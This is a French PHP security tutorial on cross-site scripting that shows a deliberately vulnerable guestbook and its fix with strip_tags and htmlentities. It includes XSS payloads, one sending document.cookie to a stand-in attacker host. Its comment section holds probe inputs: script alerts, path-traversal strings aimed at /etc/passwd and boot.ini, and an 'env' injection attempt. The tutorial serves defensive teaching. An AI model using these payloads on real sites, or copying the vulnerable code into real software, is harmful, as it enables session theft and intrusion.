[PHP] Sécurité : Cross Site Scripting ( XSS )


[PHP] Sécurité : Cross Site Scripting ( XSS )


Comment sécurisez son code contre les attaques XSS

- Kessako ?
==========

Cross Site Scripting ou XSS exploite la confiance qu'a un utilisateur envers un site. Dans ce type d'attaque la victime est l'utilisateur. On peut l'exploiter dans tout type d'application qui affiche des données externes.
En gros elle consiste à injecter des données "non autorisés" dans les pages HTML devant être envoyé à l'utilisateur (souvent ces données sont des scripts javascript)

- Et PHP ?
=========

Ce genre d'attaque n'a rien à voir avec le type de langage utilisé.
C'est pour ça que les méthodes de protection sont les mêmes. Même s'ils existent quelques fonctions PHP pour aider les développeurs à contourner ce genre d'exploit, le développeur reste le maître à bord et c'est sur lui que repose le sécurité de l'application.

En fait, des centaines de softs populaires PHP souffrent (ou souffraient) de ces failles (phpBB, phpnuke, ...).

- Par la pratique :
=============

Un exemple qui revient souvent, et qui est assez simple, est celui des formulaires (utilisé dans les webmail, livres d'or, forums, profils d'utilisateur, ...) :

<?php // Simple Livre d'or

if ($_POST['message']) {
file_put_contents('guestbook.dat',"{$_POST['message']}\n<hr/>\n",FILE_APPEND );
}
readfile('guestbook.dat');

?>
<form action="<?php =$_SERVER['PHP_SELF']?>" method="post">
Message : <input type="text" name="message"/>
</form>

un 'tit test :
Message : [Super ca marche]

C'est vrai que ça marche :p mais que ce passerait-il si un felon pirate/lamer passe par votre site:

Message: [<script>alert('Degage, connard !');</script>]

Désormais tout personne passera par ce livre d'or verra s'afficher en alerte "Degage, connard !". Sympa :p

mais ça c'est rien :p, car les choses peuvent être plus... dangereuses.
exemple :

Message: [<script>document.location='http://www.devineoujesuis.be/';</script>]
- la, personne ne verra même pas votre livre d'or :p
Message: [<script>document.location='http://sitedupirate.machin.truc/voler?cookie='+document.cookie</script>']
- même chose, mais en plus le pirate récupérera les infos du visiteur du site (numéro de session par exemple, et autres infos que vous auraient stocké des les cookies), et qui ouvrira la voie vers d'autres attaques (Imaginez si cette personne est admin et qu'il n'y a pas de mecanisme de protection de session).

Bien sûr, d'autres attaques sont possibles, comme exploiter une faille dans le navigateur du client (qui sont multiple sur Internet Explorer)


- et la solution ?
=============


on le dira pas trop, presque toutes les attaques sont provoqués par de données externes. donc n'hésitez pas à être très parano :p et filtrez tout le contenu externe.

Dans le cas des XSS, la solution dépend du contexte du site, et de la volonté du client/développeur.

Une des solutions, à laquelle certains auraient sûrement pensé, consiste à remplacer/supprimer les < et >, mais je vous déconseille de le faire manuellement, utiliser les fonctions PHP disponible, ils sont mieux testés et surtout plus rapides.

** si vous désirez purement et simplement enlever toutes les balises (PHP et HTML), la fonction strip_tags est la pour vous.
un code :

<?php
echo strip_tags("<script>document.location='http://www.devineoujesuis.be/';</script>");

?>
retournera :

document.location='http://www.devineoujesuis.be/';

** Cependant, sur un site dédié aux développeurs par exemple (avec des bouts de code php/html..), il est pas question d'enlever ces balises.
si c'est la cas vous devez plutôt utiliser la fonction 'htmlentities' qui remplace tous les caractères (qui ont leur équivalent en html) en leur code html.
< devient donc : &lt;
> devient : &gt;
...etc

une autre fonction "htmlspecialchars" permet de ne remplacer que les caractères dit "spéciaux" (& < > ' et "), donc sans les accents, ce qui est souvent pas très pratique. C'est pour ça que je préfère htmlentities.

<?php
echo htmlentities("<script>document.location='http://www.devineoujesuis.be/';</script>");

?>

retournera :
&lt;script &gt;document.location='http://www.devineoujesuis.be/';&lt;/script &gt;


** Et puis finalement pour finir : utf8_decode et charset de la page (<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>)

Comme dans l'article de SQL Injection l'encodage est un vrai problème. Même google, a eu une faille pareil (dans son flux RSS).
Il est donc impératif de forcer l'encoding de la page, et de décoder les entrée avec utf8_decode (ou iconv). Vous pouvez aussi verifier que l'encodage réçu est bien celui utilisé (par ex: $data==utf8_decode($data))


Sur ce, je vous redonne rendez-vous au prochaine article sécu.

A vos commentaires.

Happy Hacking ;)

Poster un commentaire:

Nom/Name
Comment.

#. (09 Jun 2009 - 15:50)

<script type="text/javascript">alert('bonjour')</script>
#.<script type="text/javascript">alert('bonjour')</sc (09 Jun 2009 - 15:50)

#.%3Cscript%3 Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2 9% (28 Apr 2009 - 16:38)

%3Cscript%3

Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2

9%3C%2Fscript%3E
#. (06 Nov 2007 - 10:51)

#.[<script>alert('test!');</script>]
#.Ameba (03 Jun 2007 - 07:18)

Thanks for the interesting and informative site. That's definitely what I've been looking for.
#.Orhun Jack (15 Jan 2007 - 18:50)

Love is all around, lets all around the world to play
#.Orphan Happy (09 Jan 2007 - 10:53)

Girls, have fun, not boys
#.Aazazello Forthe (27 Dec 2006 - 20:35)

Holy hit, it happened again, so what to do
#.Zaik Mike (12 Dec 2006 - 22:39)

Can anyone make me a diabolo?
#.Yonas Luke (07 Nov 2006 - 06:10)

Poem is a strange type of literature, isnt it?
#.Rogue Jago (03 Nov 2006 - 22:49)

I know, ask me. Also some interesting sites.
#.[<script>alert('test!');</script>] (11 Oct 2006 - 23:10)

je test la fiabilité de ce que vous avez ecrit ;)
lol
#.¿'"( (08 Aug 2006 - 14:26)

on
#.a);env (08 Aug 2006 - 14:26)

on
#.on (08 Aug 2006 - 14:26)

../../../../../../../../../../boot.ini
#.on (08 Aug 2006 - 14:25)

../../../../../../../../../../etc/passwd
#.c:\\boot.ini (08 Aug 2006 - 14:25)

on
#.on (08 Aug 2006 - 14:25)

c:\\boot.ini
#./etc/passwd (08 Aug 2006 - 14:25)

on
#. (05 Aug 2006 - 03:55)

<script>alert("Salut";)</script>
 1
20 commentaires